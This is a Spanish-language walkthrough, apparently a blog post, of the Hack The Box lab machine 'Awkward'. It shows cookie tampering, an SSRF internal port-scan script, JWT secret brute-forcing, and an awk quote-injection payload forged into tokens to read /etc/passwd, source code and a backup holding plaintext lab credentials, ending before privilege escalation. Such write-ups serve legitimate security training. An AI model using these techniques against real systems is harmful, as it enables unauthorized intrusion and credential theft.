Awkward
22 minutos de lectura
awk
y encontrar credenciales en texto claro dentro de un archivo comprimido. A continuación, podemos acceder por SSH y encontrar otro sitio web construido en PHP con dos vulnerabilidades. También hay una tarea Cron que toma información de un archivo CSV para enviar un correo electrónico. La clave aquí es inyectar un parámetro malicioso en el archivo CSV para que el comando mail
ejecute un script malicioso, que lleva a la escalada de privilegios- SO: Linux
- Dificultad: Media
- Dirección IP: 10.10.11.185
- Fecha: 22 / 10 / 2022
Escaneo de puertos
# Nmap 7.93 scan initiated as: nmap -sC -sV -o nmap/targeted 10.10.11.185 -p 22,80
Nmap scan report for 10.10.11.185
Host is up (0.050s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 7254afbaf6e2835941b7cd611c2f418b (ECDSA)
|_ 256 59365bba3c7821e326b37d23605aec38 (ED25519)
80/tcp open http nginx 1.18.0 (Ubuntu)
|_http-title: Site doesn't have a title (text/html).
|_http-server-header: nginx/1.18.0 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done -- 1 IP address (1 host up) scanned in 8.16 seconds
La máquina tiene abiertos los puertos 22 (SSH) y 80 (HTTP).
Enumeración
Si vamos a http://10.10.11.185
, se nos redirige a http://hat-valley.htb
. Después de poner el dominio en /etc/hosts
, tenemos esta página web:
Dado que hay un dominio, vamos a ver si hay subdominios:
$ ffuf -w $WORDLISTS/dirbuster/directory-list-lowercase-2.3-medium.txt -u http://hat-valley.htb -H 'Host: FUZZ.hat-valley.htb' -fs 132
[Status: 401, Size: 188, Words: 6, Lines: 8, Duration: 67ms]
* FUZZ: store
Muy bien, tenemos store.hat-valley.htb
, pero solicita autenticación básica HTTP:
Vamos a buscar más rutas en ambos sitios web:
$ ffuf -w $WORDLISTS/SecLists/Discovery/Web-Content/raft-small-words.txt -u http://hat-valley.htb/FUZZ -r
[Status: 200, Size: 16353, Words: 1760, Lines: 375, Duration: 152ms]
* FUZZ: css
[Status: 200, Size: 14351, Words: 1661, Lines: 366, Duration: 150ms]
* FUZZ: js
[Status: 200, Size: 10998, Words: 1572, Lines: 356, Duration: 84ms]
* FUZZ: static
[Status: 200, Size: 2881, Words: 305, Lines: 55, Duration: 54ms]
* FUZZ: .
$ ffuf -w $WORDLISTS/SecLists/Discovery/Web-Content/raft-small-words.txt -u http://store.hat-valley.htb/FUZZ -fc 401
[Status: 301, Size: 178, Words: 6, Lines: 8, Duration: 52ms]
* FUZZ: css
[Status: 301, Size: 178, Words: 6, Lines: 8, Duration: 57ms]
* FUZZ: js
[Status: 301, Size: 178, Words: 6, Lines: 8, Duration: 46ms]
* FUZZ: img
[Status: 301, Size: 178, Words: 6, Lines: 8, Duration: 45ms]
* FUZZ: cart
[Status: 301, Size: 178, Words: 6, Lines: 8, Duration: 42ms]
* FUZZ: static
[Status: 301, Size: 178, Words: 6, Lines: 8, Duration: 51ms]
* FUZZ: fonts
[Status: 301, Size: 178, Words: 6, Lines: 8, Duration: 47ms]
* FUZZ: product-details
Bueno, nada interesante por el momento.
Si inspeccionamos el sitio web principal, vemos que está hecho con Vue.js. Este tipo de sitios web se generan con JavaScript (aplicaciones de una sola página), por lo que hay rutas que se pueden encontrar investigando en los archivos de JavaScript:
Vayamos a /hr
(/dashboard
redirige a /hr
también):
Bypass de autenticación
Podemos probar algunas credenciales o inyecciones comunes (SQL y NoSQL), pero nada funciona. Al menos, podemos causar errores en el servidor y ver algunas rutas y nombres de archivos (/var/www/hat-valley.htb/server/server.js
):
$ curl hat-valley.htb/api/login -H 'Content-Type: application/json' -d '{'
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="utf-8">
<title>Error</title>
</head>
<body>
<pre>SyntaxError: Unexpected end of JSON input<br> at JSON.parse (<anonymous>)<br> at parse (/var/www/hat-valley.htb/node_modules/body-parser/lib/types/json.js:89:19)<br> at /var/www/hat-valley.htb/node_modules/body-parser/lib/read.js:128:18<br> at AsyncResource.runInAsyncScope (async_hooks.js:190:9)<br> at invokeCallback (/var/www/hat-valley.htb/node_modules/raw-body/index.js:231:16)<br> at done (/var/www/hat-valley.htb/node_modules/raw-body/index.js:220:7)<br> at IncomingMessage.onEnd (/var/www/hat-valley.htb/node_modules/raw-body/index.js:280:7)<br> at IncomingMessage.emit (events.js:314:20)<br> at endReadableNT (_stream_readable.js:1241:12)<br> at processTicksAndRejections (internal/process/task_queues.js:84:21)</pre>
</body>
</html>
$ curl hat-valley.htb/api/login -H 'Content-Type: application/json' -d '{"username":"asdf"}'
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="utf-8">
<title>Error</title>
</head>
<body>
<pre>TypeError [ERR_INVALID_ARG_TYPE]: The first argument must be of type string or an instance of Buffer, ArrayBuffer, or Array or an Array-like Object. Received undefined<br> at Function.from (buffer.js:330:9)<br> at new Buffer (buffer.js:286:17)<br> at module.exports (/var/www/hat-valley.htb/node_modules/sha256/lib/nodecrypto.js:14:12)<br> at /var/www/hat-valley.htb/server/server.js:30:76<br> at Layer.handle [as handle_request] (/var/www/hat-valley.htb/node_modules/express/lib/router/layer.js:95:5)<br> at next (/var/www/hat-valley.htb/node_modules/express/lib/router/route.js:144:13)<br> at Route.dispatch (/var/www/hat-valley.htb/node_modules/express/lib/router/route.js:114:3)<br> at Layer.handle [as handle_request] (/var/www/hat-valley.htb/node_modules/express/lib/router/layer.js:95:5)<br> at /var/www/hat-valley.htb/node_modules/express/lib/router/index.js:284:15<br> at Function.process_params (/var/www/hat-valley.htb/node_modules/express/lib/router/index.js:346:12)</pre>
</body>
</html>
Si echamos un vistazo de nuevo al formulario de inicio de sesión, vemos que tenemos una cookie llamada token
con valor guest
:
Probemos a cambiar guest
por admin
:
Totalmente inesperado… Ahora tenemos acceso al /dashboard
.
Al hacer click en “Refresh”, se realiza una petición HTTP:
Explotación de SSRF
Veamos si el servidor puede conectarse a nosotros:
$ curl 'hat-valley.htb/api/store-status?url="http://10.10.17.44"' -H 'Cookie: token=admin'
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN" "http://www.w3.org/TR/html4/strict.dtd">
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8">
<title>Directory listing for /</title>
</head>
<body>
<h1>Directory listing for /</h1>
<hr>
<ul>
</ul>
<hr>
</body>
</html>
$ python3 -m http.server 80
Serving HTTP on :: port 80 (http://[::]:80/) ...
::ffff:10.10.11.185 - - [12/Feb/2023 21:20:37] "GET / HTTP/1.1" 200 -
Lo hace. Usemosnc
para ver la petición HTTP completa:
$ nc -nlvp 80
Ncat: Version 7.93 ( https://nmap.org/ncat )
Ncat: Listening on :::80
Ncat: Listening on 0.0.0.0:80
Ncat: Connection from 10.10.11.185.
Ncat: Connection from 10.10.11.185:48926.
GET / HTTP/1.1
Accept: application/json, text/plain, */*
User-Agent: axios/0.27.2
Host: 10.10.17.44
Connection: close
Está utilizando axios
para realizar la petición HTTP. Ahora, podemos intentar exploitar un Server-Side Request Forgery (SSRF) para consultar puertos internos. Por ejemplo, podemos ver el puerto 80:
$ curl 'hat-valley.htb/api/store-status?url="http://127.0.0.1:80"' -H 'Cookie: token=admin'
<!DOCTYPE html>
<html>
<head>
<meta http-equiv="Refresh" content="0; url='http://hat-valley.htb'" />
</head>
<body>
</body>
</html>
Para enumerar todos los puertos internos, utilizaré este breve script en Bash:
#!/usr/bin/env bash
function enum_port() {
curl "hat-valley.htb/api/store-status?url='http://127.0.0.1:$1'" -H 'Cookie: token=admin' -s | md5sum
}
for i in {1..65535}; do
echo "$i: $(enum_port $i)" &
done
wait
Y vemos tres puertos:
$ bash enum.sh | grep -v d41d8cd98f00b204e9800998ecf8427e
80: 57d3ff079054da366e3410714f7cc5b7 -
3002: a503f842648cc7054781898381629fc9 -
8080: eec43f2e72fc1fa2be35d0ba190ea4fd -
El puerto 80 es el sitio web principal, que redirige al puerto 8080 (la aplicación Vue.js). En el puerto 3002 encontramos un documento HTML grande, así que podemos descargarlo y lo cargarlo en el navegador:
$ curl "hat-valley.htb/api/store-status?url='http://127.0.0.1:3002'" -H 'Cookie: token=admin' -so index.html
$ python3 -m http.server 80
Serving HTTP on :: port 80 (http://[::]:80/) ...
Se trata de algún tipo de documentación de API:
Análisis de código estático
Todas las peticiones requieren de un token JWT válido, y todavía no tenemos credenciales. Sin embargo, la última petición parece vulnerable:
Si omitimos la cookie token
, la variable user_token
valdrá undefined
(un valor falsy en JavaScript), por lo que el programa no entrará en el primer bloque if
. Luego, como auth_failed
se inicializa a false
, el segundo if
tampoco se ejecuta. Por lo tanto, el servidor nos enviará toda la tabla users
(SELECT * from users
):
$ curl hat-valley.htb/api/staff-details -s | jq
[
{
"user_id": 1,
"username": "christine.wool",
"password": "6529fc6e43f9061ff4eaa806b087b13747fbe8ae0abfd396a5c4cb97c5941649",
"fullname": "Christine Wool",
"role": "Founder, CEO",
"phone": "0415202922"
},
{
"user_id": 2,
"username": "christopher.jones",
"password": "e59ae67897757d1a138a46c1f501ce94321e96aa7ec4445e0e97e94f2ec6c8e1",
"fullname": "Christopher Jones",
"role": "Salesperson",
"phone": "0456980001"
},
{
"user_id": 3,
"username": "jackson.lightheart",
"password": "b091bc790fe647a0d7e8fb8ed9c4c01e15c77920a42ccd0deaca431a44ea0436",
"fullname": "Jackson Lightheart",
"role": "Salesperson",
"phone": "0419444111"
},
{
"user_id": 4,
"username": "bean.hill",
"password": "37513684de081222aaded9b8391d541ae885ce3b55942b9ac6978ad6f6e1811f",
"fullname": "Bean Hill",
"role": "System Administrator",
"phone": "0432339177"
}
]
¡Increíble! Tomemos esos hashes e intentemos romperlos en crackstation.net:
Acceso a la máquina
Bueno, con uno es suficiente. Ahora podemos acceder con credenciales christopher.jones:chris123
:
Además, tenemos un token JWT válido, por lo que podemos acceder a otros endpoints como /api/submit-leave
y /api/all-leave
:
Las partes interesantes se indican con flechas. Hay algunos comandos de sistema que se ejecutan y que involucran algunas entradas de usuario. Aunque hay una lista de caracteres no permitidos, aún podemos usar algunos caracteres especiales:
$ python3 -q
>>> from string import punctuation
>>> set(punctuation).difference(set([";","&","|",">","<","*","?","`","$","(",")","{","}","[","]","!","#"]))
{"'", '.', ':', '\\', '%', ',', '+', '/', '^', '_', '~', '=', '-', '"', '@'}
Ninguno de ellos parece útil para inyectar comandos en /api/submit-leave
, ya que ninguno nos permite concatenar otro comando.
Encontrando una vulnerabilidad de LFR
Sin embargo, podríamos intentar leer archivos con awk
desde /api/all-leave
. Hagamos peticiones normales para ver cómo funcionan los endpoints de la API:
$ curl hat-valley.htb/api/submit-leave -d '{"reason":"asdf","start":"0","end":"9"}' -H 'Content-Type: application/json' -H 'Cookie: token=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ImNocmlzdG9waGVyLmpvbmVzIiwiaWF0IjoxNjc2MjM2MDYzfQ.MEmHAj5SRWVgp31npj29Someqy37gUwiyImwPBKxUVE'
Successfully added new leave request
$ curl hat-valley.htb/api/all-leave -H 'Cookie: token=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ImNocmlzdG9waGVyLmpvbmVzIiwiaWF0IjoxNjc2MjM2MDYzfQ.MEmHAj5SRWVgp31npj29Someqy37gUwiyImwPBKxUVE'
christopher.jones,Donating blood,19/06/2022,23/06/2022,Yes
christopher.jones,Taking a holiday in Japan with Bean,29/07/2022,6/08/2022,Yes
christopher.jones,asdf,0,9,Pending
Vemos que el servidor imprime todas las líneas del archivo CSV que coinciden con nuestro nombre de usuario mediante awk
:
"awk '/" + user + "/' /var/www/private/leave_requests.csv"
Obsérvese que nos permiten poner comillas simples ('
) y barras (/
). Entonces, al menos podemos escapar del contexto de las comillas y añadir otro archivo para leer. Este es el objetivo:
$ echo asdf > leave_requests.csv
$ echo secret > secret_file
$ awk '//' secret_file '' leave_requests.csv
secret
asdf
Por lo tanto, necesitamos controlar la variable user
para poner /' <file> '
, que proviene del token JWT. Entonces, debemos poder crear tokens JWT. Una forma de hacer esto es tratando de romper el token JWT que tenemos con rockyou.txt
. Algo como esto (con el REPL de Node.js):
$ npm install jsonwebtoken
...
$ node
Welcome to Node.js v19.6.0.
Type ".help" for more information.
> const fs = require('fs')
undefined
> const jwt = require('jsonwebtoken')
undefined
> for (const password of fs.readFileSync('rockyou.txt').toString().split('\n')) {
... try {
... jwt.verify('eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ImNocmlzdG9waGVyLmpvbmVzIiwiaWF0IjoxNjc2MjM2MDYzfQ.MEmHAj5SRWVgp31npj29Someqy37gUwiyImwPBKxUVE', password)
... console.log(password)
... } catch (err) { }
... }
123beany123
undefined
Aquí tenemos el secreto del token. En este punto, podemos crear tokens JWT y, por lo tanto, controlar la variable user
. Como prueba de concepto, intentemos leer el archivo /etc/passwd
:
$ node
Welcome to Node.js v19.6.0.
Type ".help" for more information.
> const jwt = require('jsonwebtoken')
undefined
> jwt.sign({ username: "/' /etc/passwd '" }, '123beany123')
'eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6Ii8nIC9ldGMvcGFzc3dkICciLCJpYXQiOjE2NzYyMzg0OTd9.mmbm4oVDXAWi_sO1tregfTL24yN5k3bxmEg9izlDuEA'
> .exit
$ curl hat-valley.htb/api/all-leave -H 'Cookie: token=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6Ii8nIC9ldGMvcGFzc3dkICciLCJpYXQiOjE2NzYyMzg0OTd9.mmbm4oVDXAWi_sO1tregfTL24yN5k3bxmEg9izlDuEA'
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
systemd-network:x:100:102:systemd Network Management,,,:/run/systemd:/usr/sbin/nologin
systemd-resolve:x:101:103:systemd Resolver,,,:/run/systemd:/usr/sbin/nologin
messagebus:x:102:105::/nonexistent:/usr/sbin/nologin
systemd-timesync:x:103:106:systemd Time Synchronization,,,:/run/systemd:/usr/sbin/nologin
syslog:x:104:111::/home/syslog:/usr/sbin/nologin
_apt:x:105:65534::/nonexistent:/usr/sbin/nologin
tss:x:106:112:TPM software stack,,,:/var/lib/tpm:/bin/false
uuidd:x:107:115::/run/uuidd:/usr/sbin/nologin
systemd-oom:x:108:116:systemd Userspace OOM Killer,,,:/run/systemd:/usr/sbin/nologin
tcpdump:x:109:117::/nonexistent:/usr/sbin/nologin
avahi-autoipd:x:110:119:Avahi autoip daemon,,,:/var/lib/avahi-autoipd:/usr/sbin/nologin
usbmux:x:111:46:usbmux daemon,,,:/var/lib/usbmux:/usr/sbin/nologin
dnsmasq:x:112:65534:dnsmasq,,,:/var/lib/misc:/usr/sbin/nologin
kernoops:x:113:65534:Kernel Oops Tracking Daemon,,,:/:/usr/sbin/nologin
avahi:x:114:121:Avahi mDNS daemon,,,:/run/avahi-daemon:/usr/sbin/nologin
cups-pk-helper:x:115:122:user for cups-pk-helper service,,,:/home/cups-pk-helper:/usr/sbin/nologin
rtkit:x:116:123:RealtimeKit,,,:/proc:/usr/sbin/nologin
whoopsie:x:117:124::/nonexistent:/bin/false
sssd:x:118:125:SSSD system user,,,:/var/lib/sss:/usr/sbin/nologin
speech-dispatcher:x:119:29:Speech Dispatcher,,,:/run/speech-dispatcher:/bin/false
nm-openvpn:x:120:126:NetworkManager OpenVPN,,,:/var/lib/openvpn/chroot:/usr/sbin/nologin
saned:x:121:128::/var/lib/saned:/usr/sbin/nologin
colord:x:122:129:colord colour management daemon,,,:/var/lib/colord:/usr/sbin/nologin
geoclue:x:123:130::/var/lib/geoclue:/usr/sbin/nologin
pulse:x:124:131:PulseAudio daemon,,,:/run/pulse:/usr/sbin/nologin
gnome-initial-setup:x:125:65534::/run/gnome-initial-setup/:/bin/false
hplip:x:126:7:HPLIP system user,,,:/run/hplip:/bin/false
gdm:x:127:133:Gnome Display Manager:/var/lib/gdm3:/bin/false
bean:x:1001:1001:,,,:/home/bean:/bin/bash
christine:x:1002:1002:,,,:/home/christine:/bin/bash
postfix:x:128:136::/var/spool/postfix:/usr/sbin/nologin
mysql:x:129:138:MySQL Server,,,:/nonexistent:/bin/false
sshd:x:130:65534::/run/sshd:/usr/sbin/nologin
_laurel:x:999:999::/var/log/laurel:/bin/false
En este punto, decidí escribir un script en Node.js para explotar la vulnerabilidad de lectura de archivos locales (LFR) y leer archivos del servidor utilizando el procedimiento anterior: readFile.js
(explicación detallada aquí).
$ node readFile.js /etc/hosts
127.0.0.1 localhost hat-valley.htb store.hat-valley.htb
127.0.0.1 awkward
# The following lines are desirable for IPv6 capable hosts
::1 ip6-localhost ip6-loopback
fe00::0 ip6-localnet
ff00::0 ip6-mcastprefix
ff02::1 ip6-allnodes
ff02::2 ip6-allrouters
Podemos leer el código fuente ya que sabemos la ruta completa de las trazas de errores anteriores:
$ node readFile.js /var/www/hat-valley.htb/server/server.js | head -30
const express = require('express')
const bodyParser = require('body-parser')
const cors = require('cors')
const jwt = require('jsonwebtoken')
const app = express()
const axios = require('axios')
const { exec } = require("child_process");
const path = require('path')
const sha256 = require('sha256')
const cookieParser = require("cookie-parser")
app.use(bodyParser.json())
app.use(cors())
app.use(cookieParser())
const mysql = require('mysql')
const { response } = require('express')
const connection = mysql.createConnection({
host: 'localhost',
user: 'root',
password: 'SQLDatabasePassword321!',
database: 'hatvalley',
stringifyObjects: true
})
const port = 3002
const TOKEN_SECRET = "123beany123"
app.post('/api/login', (req, res) => {
const {username, password} = req.body
connection.query(
'SELECT * FROM users WHERE username = ? AND password = ?', [ username, sha256(password) ],
Vemos la contraseña de MySQL. Pero es inútil…
$ node readFile.js /var/www/private/leave_requests.csv
Leave Request Database,,,,
,,,,
HR System Username,Reason,Start Date,End Date,Approved
bean.hill,Taking a holiday in Japan,23/07/2022,29/07/2022,Yes
christine.wool,Need a break from Jackson,14/03/2022,21/03/2022,Yes
jackson.lightheart,Great uncle's goldfish funeral + ceremony,10/05/2022,10/06/2022,No
jackson.lightheart,Vegemite eating competition,12/12/2022,22/12/2022,No
christopher.jones,Donating blood,19/06/2022,23/06/2022,Yes
christopher.jones,Taking a holiday in Japan with Bean,29/07/2022,6/08/2022,Yes
bean.hill,Inevitable break from Chris after Japan,14/08/2022,29/08/2022,No
Parece que bean.hill
y christopher.jones
han cortado… Bueno, sigamos. En el archivo /etc/passwd
vemos que bean
y christine
son usuarios válidos:
$ node readFile.js /etc/passwd | grep sh$
root:x:0:0:root:/root:/bin/bash
bean:x:1001:1001:,,,:/home/bean:/bin/bash
christine:x:1002:1002:,,,:/home/christine:/bin/bash
Encontrando una contraseña
Podemos tratar de acceder a archivos comunes en sus directorios personales. Por ejemplo, .bashrc
. Si miramose los comandos alias
veremos algo interesante:
$ node readFile.js /home/bean/.bashrc | grep alias
# enable color support of ls and also add handy aliases
alias ls='ls --color=auto'
#alias dir='dir --color=auto'
#alias vdir='vdir --color=auto'
alias grep='grep --color=auto'
alias fgrep='fgrep --color=auto'
alias egrep='egrep --color=auto'
# some more ls aliases
alias ll='ls -alF'
alias la='ls -A'
alias l='ls -CF'
alias backup_home='/bin/bash /home/bean/Documents/backup_home.sh'
# Add an "alert" alias for long running commands. Use like so:
alias alert='notify-send --urgency=low -i "$([ $? = 0 ] && echo terminal || echo error)" "$(history|tail -n1|sed -e '\''s/^\s*[0-9]\+\s*//;s/[;&|]\s*alert$//'\'')"'
# ~/.bash_aliases, instead of adding them here directly.
if [ -f ~/.bash_aliases ]; then
. ~/.bash_aliases
Leamos /home/bean/Documents/backup_home.sh
:
$ node readFile.js /home/bean/Documents/backup_home.sh
#!/bin/bash
mkdir /home/bean/Documents/backup_tmp
cd /home/bean
tar --exclude='.npm' --exclude='.cache' --exclude='.vscode' -czvf /home/bean/Documents/backup_tmp/bean_backup.tar.gz .
date > /home/bean/Documents/backup_tmp/time.txt
cd /home/bean/Documents/backup_tmp
tar -czvf /home/bean/Documents/backup/bean_backup_final.tar.gz .
rm -r /home/bean/Documents/backup_tmp
Nos gustaría descargar el archivo .tar.gz
de copia de seguridad. Dado que es un archivo binario, usemos la forma manual:
$ node
Welcome to Node.js v19.6.0.
Type ".help" for more information.
> const jwt = require('jsonwebtoken')
undefined
> jwt.sign({ username: "/' /home/bean/Documents/backup/bean_backup_final.tar.gz '" }, '123beany123')
'eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6Ii8nIC9ob21lL2JlYW4vRG9jdW1lbnRzL2JhY2t1cC9iZWFuX2JhY2t1cF9maW5hbC50YXIuZ3ogJyIsImlhdCI6MTY3NjI0MDcxM30.Y-nvN-avH-8BKiqrd6RVa7gif-RsuRXh1LfNksBi5iA'
> .exit
$ curl hat-valley.htb/api/all-leave -H 'Cookie: token=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6Ii8nIC9ob21lL2JlYW4vRG9jdW1lbnRzL2JhY2t1cC9iZWFuX2JhY2t1cF9maW5hbC50YXIuZ3ogJyIsImlhdCI6MTY3NjI0MDcxM30.Y-nvN-avH-8BKiqrd6RVa7gif-RsuRXh1LfNksBi5iA' -so bean_backup_final.tar.gz
$ file bean_backup_final.tar.gz
bean_backup_final.tar.gz: gzip compressed data, from Unix, original size modulo 2^32 167772320
Muy bien, vamos a descomprimirlo:
$ tar xvfz bean_backup_final.tar.gz
x ./
x ./bean_backup.tar.gz
x ./time.txt
Y con esto tenemos otro archivo .tar.gz
:
$ tar xvfz bean_backup.tar.gz
x ./
x ./Templates/
x ./.ssh/
x ./Pictures/
x ./.config/
x ./.config/xpad/
...
x ./.config/user-dirs.locale
x ./Videos/
x ./.gnupg/
x ./.gnupg/pubring.kbx
x ./.gnupg/trustdb.gpg
x ./.local/
x ./.local/share/
...
x ./.local/share/nano/
x ./.local/share/session_migration-ubuntu
x ./Music/
x ./snap/
x ./snap/snapd-desktop-integration/
...
x ./snap/snapd-desktop-integration/common/
x ./.bashrc
x ./Downloads/
x ./.bash_history
x ./.profile
x ./Desktop/
x ./Public/
x ./.bash_logout
x ./Documents/
x ./Documents/backup_tmp/
x ./Documents/backup_tmp/bean_backup.tar.gz
x ./Documents/backup_home.sh
x ./Documents/backup/
Si buscamos archivos que contienen el nombre de usuario bean
como string, encontramos estos:
$ grep -nri bean .
./.config/gtk-3.0/bookmarks:1:file:///home/bean/Documents
./.config/gtk-3.0/bookmarks:2:file:///home/bean/Music
./.config/gtk-3.0/bookmarks:3:file:///home/bean/Pictures
./.config/gtk-3.0/bookmarks:4:file:///home/bean/Videos
./.config/gtk-3.0/bookmarks:5:file:///home/bean/Downloads
./.config/xpad/content-DS1ZS1:9:bean.hill
./.config/xpad/content-DS1ZS1:10:014mrbeanrules!#P
./.config/ibus/bus/ee6a821b27764b4d9e547b4690827539-unix-0:6:IBUS_ADDRESS=unix:abstract=/home/bean/.cache/ibus/dbus-aFcG5feC,guid=3dec9de0e2cbb2442d14006463230e0b
./.config/ibus/bus/ee6a821b27764b4d9e547b4690827539-unix-wayland-0:6:IBUS_ADDRESS=unix:abstract=/home/bean/.cache/ibus/dbus-aFcG5feC,guid=3dec9de0e2cbb2442d14006463230e0b
./.bashrc:96:alias backup_home='/bin/bash /home/bean/Documents/backup_home.sh'
Binary file ./.readFile.js.swp matches
./snap/snapd-desktop-integration/14/.config/user-dirs.dirs:8:XDG_DESKTOP_DIR="/home/bean/Desktop"
./snap/snapd-desktop-integration/14/.config/user-dirs.dirs:9:XDG_DOWNLOAD_DIR="/home/bean/Downloads"
./snap/snapd-desktop-integration/14/.config/user-dirs.dirs:10:XDG_TEMPLATES_DIR="/home/bean/Templates"
./snap/snapd-desktop-integration/14/.config/user-dirs.dirs:11:XDG_PUBLICSHARE_DIR="/home/bean/Public"
./snap/snapd-desktop-integration/14/.config/user-dirs.dirs:12:XDG_DOCUMENTS_DIR="/home/bean/Documents"
./snap/snapd-desktop-integration/14/.config/user-dirs.dirs:13:XDG_MUSIC_DIR="/home/bean/Music"
./snap/snapd-desktop-integration/14/.config/user-dirs.dirs:14:XDG_PICTURES_DIR="/home/bean/Pictures"
./snap/snapd-desktop-integration/14/.config/user-dirs.dirs:15:XDG_VIDEOS_DIR="/home/bean/Videos"
./Documents/backup_home.sh:2:mkdir /home/bean/Documents/backup_tmp
./Documents/backup_home.sh:3:cd /home/bean
./Documents/backup_home.sh:4:tar --exclude='.npm' --exclude='.cache' --exclude='.vscode' -czvf /home/bean/Documents/backup_tmp/bean_backup.tar.gz .
./Documents/backup_home.sh:5:date > /home/bean/Documents/backup_tmp/time.txt
./Documents/backup_home.sh:6:cd /home/bean/Documents/backup_tmp
./Documents/backup_home.sh:7:tar -czvf /home/bean/Documents/backup/bean_backup_final.tar.gz .
./Documents/backup_home.sh:8:rm -r /home/bean/Documents/backup_tmp
De hecho, hay un archivo que parece contener una contraseña (014mrbeanrules!#P
):
$ cat .config/xpad/content-DS1ZS1
TO DO:
- Get real hat prices / stock from Christine
- Implement more secure hashing mechanism for HR system
- Setup better confirmation message when adding item to cart
- Add support for item quantity > 1
- Implement checkout system
boldHR SYSTEM/bold
bean.hill
014mrbeanrules!#P
https://www.slac.stanford.edu/slac/www/resource/how-to-use/cgi-rexx/cgi-esc.html
boldMAKE SURE TO USE THIS EVERYWHERE ^^^/bold
De hecho, podemos conectarnos a la máquina como bean
por SSH y leer la flag user.txt
:
$ ssh bean@10.10.11.185
bean@10.10.11.185's password:
bean@awkward:~$ cat user.txt
3b545e2727648848f6080e6b5222592e
Enumeración del sistema
Dado que tenemos acceso al sistema de archivos, veamos la configuración de nginx:
bean@awkward:~$ ll /etc/nginx/sites-enabled/
total 8
drwxr-xr-x 2 root root 4096 Sep 15 23:34 ./
drwxr-xr-x 8 root root 4096 Oct 6 00:49 ../
lrwxrwxrwx 1 root root 34 Sep 15 21:55 default -> /etc/nginx/sites-available/default
lrwxrwxrwx 1 root root 46 Sep 15 23:33 hat-valley.htb.conf -> /etc/nginx/sites-available/hat-valley.htb.conf
lrwxrwxrwx 1 root root 37 Sep 15 23:34 store.conf -> /etc/nginx/sites-available/store.conf
Aquí podemos encontrar que store.hat-valley.htb
tiene un archivo .htpasswd
para requerir la autenticación básica HTTP:
bean@awkward:~$ cat /etc/nginx/sites-enabled/store.conf
server {
listen 80;
server_name store.hat-valley.htb;
root /var/www/store;
location / {
index index.php index.html index.htm;
}
# pass the PHP scripts to FastCGI server listening on 127.0.0.1:9000
#
location ~ /cart/.*\.php$ {
return 403;
}
location ~ /product-details/.*\.php$ {
return 403;
}
location ~ \.php$ {
auth_basic "Restricted";
auth_basic_user_file /etc/nginx/conf.d/.htpasswd;
fastcgi_pass unix:/var/run/php/php8.1-fpm.sock;
fastcgi_index index.php;
fastcgi_param SCRIPT_FILENAME $realpath_root$fastcgi_script_name;
include fastcgi_params;
}
# deny access to .htaccess files, if Apache's document root
# concurs with nginx's one
#
#location ~ /\.ht {
# deny all;
#}
}
bean@awkward:~$ cat /etc/nginx/conf.d/.htpasswd
admin:$apr1$lfvrwhqi$hd49MbBX3WNluMezyjWls1
Podemos intentar romper el hash anterior, pero la contraseña no se encuentra en rockyou.txt
:
$ echo 'admin:$apr1$lfvrwhqi$hd49MbBX3WNluMezyjWls1' > hash
$ john --wordlist=$WORDLISTS/rockyou.txt hash
Loaded 1 password hash (md5crypt [MD5 32/64 X2])
Press 'q' or Ctrl-C to abort, almost any other key for status
0g 0:00:15:27 100% 0g/s 15463p/s 15463c/s 15463C/sa6_123..*7¡Vamos!
Session completed
Enumerando la aplicación de la tienda
Sin embargo, podemos reutilizar la contraseña encontrada anteriormente (014mrbeanrules!#P
) y funciona:
Se ofrecen algunos productos:
Y una sección de carrito:
Parece que la aplicación no está terminada:
Intentemos agregar un artículo al carrito:
Como se esperaba, se muestra en la página del carrito:
Y todo se maneja con localStorage
:
En este punto, podemos leer el código fuente del servidor:
bean@awkward:~$ ll /var/www/store/
total 104
drwxr-xr-x 9 root root 4096 Oct 6 01:35 ./
drwxr-xr-x 7 root root 4096 Oct 6 01:35 ../
drwxrwxrwx 2 root root 4096 Feb 13 10:30 cart/
-rwxr-xr-x 1 root root 3664 Sep 15 20:09 cart_actions.php*
-rwxr-xr-x 1 root root 12140 Sep 15 20:09 cart.php*
-rwxr-xr-x 1 root root 9143 Sep 15 20:09 checkout.php*
drwxr-xr-x 2 root root 4096 Oct 6 01:35 css/
